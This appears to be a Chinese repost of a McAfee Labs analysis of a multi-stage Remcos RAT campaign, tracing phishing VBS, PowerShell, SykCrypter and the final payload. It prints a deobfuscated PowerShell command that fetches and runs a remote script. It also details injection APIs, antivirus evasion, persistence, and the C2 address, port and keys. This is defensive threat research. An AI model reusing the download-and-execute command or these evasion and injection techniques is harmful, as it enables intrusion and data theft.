McAfee 实验室观察到 Remcos RAT 活动,其中恶意 VBS 文件通过网络钓鱼电子邮件传递。网络钓鱼电子邮件包含 ZIP/RAR 附件。在这个 ZIP 中,有一个严重混淆的 VBS 文件。
Remcos 是一种复杂的 RAT,它为攻击者提供对受感染系统的后门访问并收集各种敏感信息。Remcos 结合了不同的混淆和反调试技术来逃避检测。它定期更新其功能,使该恶意软件成为一个具有挑战性的对手。
执行流程:
图1 :执行流程
第1阶段:VBS文件分析
VBS文件是从RAR文件中下载的,该文件名为“ August 2023 Statement of Account.z ”,该VBS文件使用了各种技术,使分析变得非常困难;包括大量注释代码和随机字符串,这些字符串掩盖了真实的执行链,使其无法快速可见。实际执行的数据也被混淆了。
研究此 VBS 脚本从处理大型注释块开始,如下图所示。
图2 :VBS脚本
一个混淆的字符串引用一个 URL。该脚本包含一个替换函数来对正确的命令行进行反混淆。
VBS 脚本的另一部分是执行函数,如下图所示,它仅解码虚假消息。 “omg!it’s_so_long_:-)you_found_the_secret_message_congrats!!”
图3 :使用替换功能对 PowerShell 命令进行反混淆。
此 VBS 脚本的目的是使用 PowerShell 下载有效负载。为了增加大小并使脚本变得模糊,添加了注释。PowerShell 命令反混淆为:
“powershell -w 1 -exeC Bypass -c “”[scriptblock]::Create ((Invoke-WebRequest ‘http://212.192.219.52/87656.txt’ -UseBasicParsing).Content).Invoke();”””
第2阶段:PowerShell脚本分析(87656.txt)
下载的文件87656.txt是一个经过混淆的 PowerShell 脚本。
图4 :混淆的 PowerShell 脚本
反混淆逻辑首先搜索任何包含“mdR”的变量;在这种情况下, 结果是“ MaximumDriveCount”。从该字符串中,选择位置 [3,11,2] 处的字符,得到字符串“iex”。这里恶意软件混淆了 iex(Invoke-Expression) 命令以逃避静态检测。
图5 :解决 IEX
然后,PowerShell 脚本使用 Base64String 算法对数据进行解码,并使用 Deflate Stream 算法对解码后的数据进行解压缩。
解压后的数据又是一个PowerShell脚本,下面进行分析。
第3阶段:解压后的PowerShell脚本分析
解压后的PowerShell脚本很大并且很混乱:
图6 :解压后的 PowerShell 脚本
脚本的第一部分与第一个 PowerShell 文件中存在相同的逻辑。它再次使用 psHome 变量解码调用表达式“ieX”。
图7 :反混淆 PowerShell 脚本
PowerShell脚本的第二部分包含一个base64编码的PE文件,稍后将对其进行分析。
图8 :Base64 编码数据。
PowerShell脚本的第三部分用于将解码后的PE文件注入到新创建的进程中。反混淆后,使用下面的代码进行代码注入。PowerShell脚本将“Wintask.exe”作为新进程启动,并将上述PE文件注入Wintask.exe进程中。
图9 :用于 PE 注入的代码。
添加了 Windows Defender 排除项。
图10 :排除代码
第 4 阶段:分析解码后的 PE 文件
1.1MB PE 文件是. NET二进制文件,使用 MSIL 加载程序。
图11 :MSIL 加载程序
Main 函数调用 Units 函数,后者调用随机函数。
图12 :主要功能
随机函数包含大量加密数据,存储在文本变量中。
图13 :加密数据
“文本”数据首先从字符串转换为十六进制数组,然后反转并存储在变量“数组”中。解密密钥被硬编码并存储在变量“ array4”中。密钥是“ 0xD7 ”(十进制215)。
图14 :将数据转换为大写的代码。
解密循环发出RC4算法。数据解密一个 PE 文件,该文件是一个 DLL(动态链接库),使用“ NewLateBinding.LateGet()”方法加载并执行,并将有效负载文件 (dGXsvRf.dll) 作为参数传递,如下所示。
为了在内存中执行解密的 DLL,恶意软件使用反射代码加载。在此过程中,恶意软件在同一进程中注入并执行解密的代码。为此,恶意软件使用“NewLateBinding.LateGet()”函数中的加载参数。
图15 :RC4算法
图16 :为解密的 dll 创建的新实例
阶段 5: dGXsvRf.dll分析
解密的 DLL“ dGXsvRf.dll ”是 SykCrypter 木马,使用包含加密负载的名为“SYKSBIKO”的资源。
图17 :加密的有效负载
SykCrypter 解密最终有效负载并解密许多与识别 AV 软件存在、持久性和反调试技术相关的字符串。SykCrypter加密数据非常大,使用170作为密钥和当前索引的简单异或运算来解密。
图18 :SykCryptor 加密数据
每个字符串都使用预定义的函数进行解密和访问,该函数将其长度和偏移量硬编码在一个大字节数组中。最终的有效负载存储在资源中,并使用 RC4 算法和密钥“ uQExKBCIDisposablev ”进行解密。
图19 :RC4 算法
另一个大小为 0x1200 且方法名称为“Zlas1”的 .NET dll 用于紧缩。
图20 :加载 DLL 以进行紧缩。
然后,DLL 解密各种安全解决方案进程名称的列表:
图21 :解密安全进程名称的代码
解密的进程名称列表包括:
vsserv bdservicehost odscanui bdagent
bullgaurd BgScan BullGuardBhvScanner 等
该恶意软件还使用 cmd 将自身副本放入 %appdata% 文件夹中。
图22 :复制文件。
持久性:
为了保持系统重新启动,恶意软件会在 Documents 文件夹中创建一个扩展名为 .pif 的快捷方式文件,并创建一个注册表 Run 项。
图23 :持久化机制
进程注入:
SykCrypter Dll 解密并加载 .NET 文件并调用其“GetDelegateForFunctionPointer”函数,以相同的方法创建对来自 kernel32 和 NTDll.dll 的所有 API 的委托。它加载GetThreadContext、SetThreadContext、ReadProcessMemory、VirtualAllocEx、NtUnmapViewOfSection等。
然后,最后它加载“WriteProcessMemory”API,该 API 将解密的有效负载注入进程并调用ResumeThread 。
图24 :进程注入
第 6 阶段:最终有效负载分析
最终有效负载是 Microsoft Visual C++ 8 可执行文件,大小为 477 KB。文件中直接可见的字符串是:
图25 :有效负载中的字符串
Remcos的配置文件存在于RCData“SETTINGS”中,该文件使用RC4算法加密。在给定示例中,密钥大小为 76 字节长。
图26 :RC4加密的配置文件
解密配置:
图27 :解密后的配置
Remcos 配置包含 C2 信息 (172.96.14.18)、其端口号 (2404)、恶意软件 (Rmc-OB0RTV) 创建的互斥锁以及其他配置详细信息。它能够从各种应用程序(例如浏览器、电子邮件客户端、加密货币钱包等)收集信息。它还允许攻击者进行远程访问,并可以充当其他恶意软件的植入程序。
结论:
RemcosRat是一种复杂的多阶段威胁。McAfee Labs 解开了该恶意软件如何下载和执行 VBS 和 PowerShell 脚本;威胁如何解开不同层并下载最终的 Remcos 远程访问负载。在 McAfee,我们致力于为客户提供强大而有效的威胁防御,以检测并防范 RemcosRat 和许多其他系列等威胁。我们的安全软件结合使用签名、机器学习、威胁情报和基于行为的检测技术来识别和阻止威胁,以确保您的安全。
IOC
转载来源:https://www.mcafee.com/blogs/other-blogs/mcafee-labs/peeling-back-the-layers-of-remcosrat-malware/?&web_view=true
图片来源网络侵权可联系删除